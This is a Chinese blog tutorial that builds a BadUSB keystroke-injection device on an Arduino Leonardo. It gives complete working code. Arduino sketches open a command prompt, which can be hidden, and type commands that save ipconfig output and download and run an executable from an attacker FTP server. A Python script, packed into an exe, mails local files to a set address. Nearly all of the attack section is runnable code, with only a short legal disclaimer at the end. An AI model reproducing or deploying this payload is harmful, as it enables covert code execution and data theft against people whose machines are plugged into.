基于Arduino Leonardo的进阶Badusb(Python+SMTP)
今天要做的badusb跟上一期比,不太一样的地方是,我加了一个发送邮件的功能,具体来说,就是插入开发板以后,程序自动把该机器的ip地址获取下来,并以邮件的形式发送给指定的收件人.先来看看效果吧:
进阶版BADUSB操作演示
为了让大家看的比较清楚,我没有加入隐藏的功能,这个功能在实际应用中可以加上:
cmd /c start /min
这样就能在打开命令行后,最大化地隐蔽操作.
发送邮件的功能,可以用SMTP实现:
#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
Keyboard.press('r');//r键
Keyboard.release('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
delay(1000);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(1000);
Keyboard.println("cmd"); //"cmd /c start /min"最大化隐蔽操作
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2500);
Keyboard.println("telnet smtp.qq.com 25");
delay(100);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.println("helo qq.com");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("auth login");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("base格式的账号");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("base格式的密码");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("mail from:<aaa@qq.com>");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("rcpt to:<aaa@qq.com>");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("data");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("subject:hello");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("Email test!");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println(".");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{}
- mail from:发件人的邮箱地址
- rcpt to:收件人的邮箱地址
- data:邮件内容(固定格式)
- subject:邮件主题
- 最后的"."代表正文结束,回车后自动发送
以上就是接收到的邮件,发件人和收件人可以写一个地址.
但是,这个方法还太基础,只能根据提前编好的邮件内容发送邮件,想要实现更高级的功能,请继续往下看:
以下是接收到的邮件:
这是一个带附件的邮件.
简单来说,当我们插入开发板后,程序能把该机器的文件,以邮件的形式,发送出去.
这一部分的功能,我是用Python写的,以下是代码:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
导入必要的资源包
# 第三方 SMTP 服务
mail_host="" #设置服务器
mail_user="" #用户名
mail_pass="" #口令
sender = ""
receivers = [""] # 接收邮件,可设置为你的QQ邮箱或者其他邮箱
设置必要的信息
#创建一个带附件的实例
message = MIMEMultipart()
message['From'] = Header("badusb", 'utf-8')
message['To'] = Header("测试", 'utf-8')
subject = 'BADUSB 邮件测试'
message['Subject'] = Header(subject, 'utf-8')
subject改成自己的邮件主题
#邮件正文内容
message.attach(MIMEText('邮件发送测试', 'plain', 'utf-8'))
输入你想呈现的邮件正文
# 构造附件,传送当前目录下的 test.txt 文件
att = MIMEText(open('D:\ipconfig.txt', 'rb').read(), 'base64', 'utf-8')
att["Content-Type"] = 'application/octet-stream'
# 这里的filename可以任意写,写什么名字,邮件中显示什么名字
att["Content-Disposition"] = 'attachment; filename="test.txt"'
message.attach(att)
server = smtplib.SMTP_SSL(mail_host, 465) # SMTP协议默认端口是25
server.set_debuglevel(1)
server.login(mail_user, mail_pass)
att里的地址改成附件的本地地址
try:
server.sendmail(sender, receivers, message.as_string())
print ("邮件发送成功")
except smtplib.SMTPException:
print ("Error: 无法发送邮件")
发送邮件
当然,在一台没有安装python的机器上,肯定是不能运行 .py 文件的,因此,我们还要把这个文件打包成 .exe 文件:
打包成 . exe 文件要用到一些工具,不是直接改后缀那么简单
从文件大小上也可以看出,变成 .exe 文件后,其大小可不只是源文件的一两倍,以下是具体打包方法:
- 安装pyinstaller
- 找到pyinstaller的安装目录
- 将我们要打包的程序copy至pyinstaller的安装目录下
- 打开cmd,找到该路径
- 输入命令pyinstaller -F badusb_email.py
然后,我们先把打包好的可执行文件放到服务器里:
如果资金允许的话,放在云服务器上也是可以的
发送邮件的功能在这里就暂告一段落了,在实际应用中,我们可能很难找到想要的文件,因此,我们可以自己创建一个文件.我今天拿ip地址来举例子.
如果我就想要命令行的输出内容,那么,我就把输出内容保存下来:
这样,这句命令的输出内容就可以保存到D盘的 ipconfig.txt 文件了:
好了,接下来,我们就可以给开发板上传代码了:
#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
Keyboard.press('r');//r键
Keyboard.release('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
delay(1000);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(1000);
Keyboard.println("cmd"); //"cmd /c start /min"最大化隐蔽操作
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2500);
Keyboard.println("ipconfig > D:\\ipconfig.txt");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2500);
Keyboard.println("ftp ip地址");
delay(1000);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.println("Administrator");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("123456789");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("lcd D:\\");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("get badusb_email.exe");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("quit");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("D:\\badusb_email.exe");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{}
如果你能把以上程序调通,就说明你的badusb已经做好啦!
最后,我想说:“技术是服务于人的,在技术能力增强的同时,应该要更多地意识到技术的双面性,从人出发,而不是从产品出发.”
本文存在一定的攻击性,请勿用于非法用途,一切责任与本人无关。